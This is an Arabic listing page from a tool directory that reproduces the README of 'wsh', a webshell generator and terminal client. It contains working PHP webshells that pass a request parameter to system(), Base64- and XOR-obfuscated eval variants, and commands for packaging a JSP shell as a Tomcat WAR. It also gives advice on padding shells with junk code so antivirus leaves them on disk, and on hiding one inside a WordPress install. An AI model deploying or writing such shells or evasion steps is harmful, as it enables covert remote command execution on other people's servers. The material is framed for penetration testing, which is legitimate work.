Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
wsh — مولّد شِل ويب وواجهة سطر أوامر. | Kitploit
أدوات/GitHubGitHub/eatonchips/wsh
توليد الحمولةاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرة
GitHubeatonchips/wsh

wsh

مولّد شِل ويب وواجهة سطر أوامر.

عرض المستودع
8520منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

wsh

wsh (تُنطق woosh) هو مُولّد لقذائف الويب (webshells) وواجهة سطر أوامر. بدأ هذا المشروع كمجرد عميل HTTP لأن التفاعل مع قذائف الويب هو أمر مزعج. هناك نموذج، لإرسال أمر عليك الكتابة في حقل إدخال والضغط على زر. أردت شيئًا يتناسب بشكل أفضل مع سير عملي ويعمل في الطرفية. وهكذا وُلد wsh.

يتميز العميل بسجل الأوامر، وتسجيل الدخول، ويمكن تهيئته للتفاعل مع قذيفة ويب قياسية منشورة مسبقًا بنموذج/زر. يُنشئ المولّد قذائف ويب بلغات php و asp و jsp. يتم إنشاؤها بمتغيرات عشوائية، بحيث يكون لكل منها تجزئة (hash) فريدة. يمكن تهيئتها بقائمة بيضاء، وكلمات مرور، والسماح بإرسال الأوامر عبر رؤوس (headers) ومعاملات (parameters) مخصصة. يمكن تهيئة المولّد والعميل من خلال خيارات سطر الأوامر أو ملفات التهيئة للسماح بحفظ إعداد يناسبك دون الحاجة إلى ما أسميه رقصة "--help". بمجرد التهيئة، يستخدم كل من العميل والمولّد نفس ملف التهيئة.

الميزات

  • التفاعل مع قذائف الويب المنشورة عبر سطر الأوامر
    • تسجيل الدخول (Logging)
  • إنشاء قذائف ويب بلغات PHP و JSP و ASP
    • القائمة البيضاء لعناوين IP
    • حماية بكلمة مرور
    • إرسال الأوامر عبر رؤوس/معاملات مخصصة
    • رفع / تنزيل الملفات
    • قذائف مشفرة بـ Base64 لـ asp و php
    • قذائف مشفرة بـ XOR لـ asp و php

الاستخدام

الاتصال

root@kitploit:~
wsh <URL> [flags]

-X, --method string        طريقة HTTP: GET, POST, PUT, PATCH, DELETE (الافتراضي "GET")
    --param string         المعامل لإرسال الأمر
    --header string        الرأس لإرسال الأمر
-P, --params strings       معاملات طلب HTTP
-H, --headers strings      رؤوس طلب HTTP
-c, --config string        ملف التهيئة
-k, --ignore-ssl           تجاهل الشهادات غير الصالحة
    --log string           ملف السجل
    --prefix string        إضافة بادئة للأمر: 'cmd /c', 'powershell.exe', 'bash'
    --timeout int          مهلة الطلب بالثواني (الافتراضي 10)
    --trim-prefix string   اقتطاع بادئة المخرجات
    --trim-suffix string   اقتطاع لاحقة المخرجات
-h, --help                 المساعدة لـ wsh

الإنشاء

root@kitploit:~
wsh generate <language> [flags]
wsh g <language> [flags]

-X, --method string        طريقة HTTP (GET,POST,PUT,PATCH,DELETE) (الافتراضي "GET")
-p, --param string         المعامل لإرسال الأمر
    --header string        الرأس لإرسال الأمر
-w, --whitelist strings    عناوين IP للقائمة البيضاء
-o, --outfile string       ملف الإخراج
    --no-file              تعطيل إمكانيات رفع/تنزيل الملفات
    --pass string          حماية القذيفة بكلمة مرور
    --pass-header string   الرأس لإرسال كلمة المرور
    --pass-param string    المعامل لإرسال كلمة المرور
    --xor-header string    الرأس لإرسال مفتاح XOR
    --xor-key string       مفتاح تشفير XOR
    --xor-param string     المعامل لإرسال مفتاح XOR
    --base64               ترميز القذيفة بـ Base64
    --minify               تصغير كود قذيفة الويب
-t, --template string      ملف قالب قذيفة الويب
-h, --help                 المساعدة للإنشاء

استخدام العميل / إدخال/إخراج الملفات

أردت أن يكون العميل مستقلاً عن اللغة، لذلك كان على جميع قذائف الويب تنفيذ نفس منطق الرفع/التنزيل. لسوء الحظ، من الصعب القيام برفع نماذج متعددة الأجزاء (multipart) بشكل أصلي في jsp و asp الكلاسيكي، لذا يتم رفع الملفات كـ base64 في معامل. هذا ليس مثاليًا لأن الحد الأقصى لحجم رفع الملف محدود بالحد الأقصى لحجم المعامل. في المستقبل قد أحاول تنفيذ رفع نماذج متعددة الأجزاء، أو القيام بعدة طلبات لنقل ملفات أكبر.

root@kitploit:~
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath]  تنزيل ملف
put <local filepath> [remote filepath]  رفع ملف
clear                                   مسح الشاشة
exit                                    الخروج من القذيفة

أمثلة على المولّد

قذائف بسيطة

الأوامر التالية تنشئ وتتفاعل مع قذيفة ويب php بسيطة.

root@kitploit:~
$ wsh generate php --param cmd --no-file -o shell.php
تم إنشاء القذيفة في shell.php.

$ wsh 127.0.0.1:8080/shell.php --param cmd
root@kitploit:~
<?php
  $MfOb = $_REQUEST['cmd'];
  $MfOb = trim($MfOb);
  system($MfOb);
  die;
?>

يمكن أيضًا إرسال الأوامر عبر رؤوس HTTP

root@kitploit:~
$ wsh generate php --no-file --header user-agent  -o shell.php
تم إنشاء القذيفة في shell.php.

$ wsh 127.0.0.1:8080/shell.php --header user-agent

القائمة البيضاء

root@kitploit:~
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php

حماية بكلمة مرور

يمكن إرسال كلمات المرور عبر معاملات أو رؤوس.

root@kitploit:~
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t

$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t

تشفير Base64 / XOR

هذه الوظيفة مثيرة للاهتمام، لكنها قد تتطلب بعض التعديل على القوالب لتكون مفيدة. في حالة asp و jsp، فإن المكتبات التي تسهل فك تشفير base64 هي مؤشرات معروفة (IOCs) وسيتم اكتشافها. إذا كنت مهتمًا باستخدام هذه الوظائف، أنصح بتعديل القالب وتشويش الكود.

مثل حماية كلمة المرور، يمكن إرسال مفتاح XOR عبر معامل أو رأس.

root@kitploit:~
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>

$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
  for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
    $oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
  }
}
eval($oooqt);
?>

قذائف Tomcat

لإنشاء قذيفة ويب يمكن نشرها على Tomcat، قم بإنشاء قذيفة jsp باسم index.jsp وقم بتشغيل الأمر أدناه لضغطها في ملف war.

أحيانًا، لا تحتوي بيئة Tomcat على المكتبات المطلوبة لرفع/تنزيل الملفات وستحدث خطأ عند إجراء طلب. لعلاج ذلك، استخدم العلامة --no-file.

root@kitploit:~
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp

القوالب

استخدام مكتبة قوالب Go يضيف الكثير من المرونة للمولّد. في بعض الأحيان سيتم اكتشاف قذيفة ويب بواسطة برامج مكافحة الفيروسات، ولكنني وجدت أن إضافة الكثير من التعليمات البرمجية العشوائية في ملف القالب غالبًا ما يجعل القذيفة تبدو غير ضارة بما يكفي للسماح لها بالبقاء على القرص. لقد أدرجت مثالاً في ملف templates/covert-php.tml.

بالإضافة إلى ذلك، يمكنك تعديل هذه القوالب لتضمين اسمك/معلومات الاتصال الخاصة بك للإسناد في حالة استخدام اختبار الاختراق.

وظائف العميل

البادئة

يمكن تحديد بادئة لإضافة سلسلة نصية إلى بداية كل أمر يتم إرساله إلى القذيفة. يمكن استخدام هذا لتحويل قذيفة cmd عادية إلى قذيفة powershell.

root@kitploit:~
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/27/2020  11:49 PM                config
d-----        5/27/2020  11:49 PM                en
d-----        5/28/2020  12:25 AM                en-US
-a----        5/27/2020  11:49 PM         119808 appcmd.exe

تسجيل الدخول (Logging)

يتم توقيع السجلات زمنيًا وتتضمن المضيف الذي يتم التفاعل معه. يتم إلحاق ملفات السجل، لذا لا تتردد في استخدام نفس ملف السجل لجلسات/مضيفين متعددين.

root@kitploit:~
127.0.0.1:8080/shell.php --param cmd --log localhost.log
تسجيل الدخول إلى: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...

[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs

اقتطاع البادئة/اللاحقة

يمكن تهيئة العميل لاقتطاع محتوى HTML الزائد من الطلب، وهذا مفيد عند التفاعل مع قذائف ويب ذات واجهة HTML قياسية، أو ربما إذا كانت قذيفة مولّدة مضمنة بشكل خفي في تثبيت ووردبريس.

root@kitploit:~
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
        <div class="pb-2 mt-4 mb-2">
            <h2> Output </h2>
        </div>
        <pre>
README.md
cmd
example-configs
index.php
main.go
templates
        </pre>
    </div>
. . .

$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates
تنزيل الأداة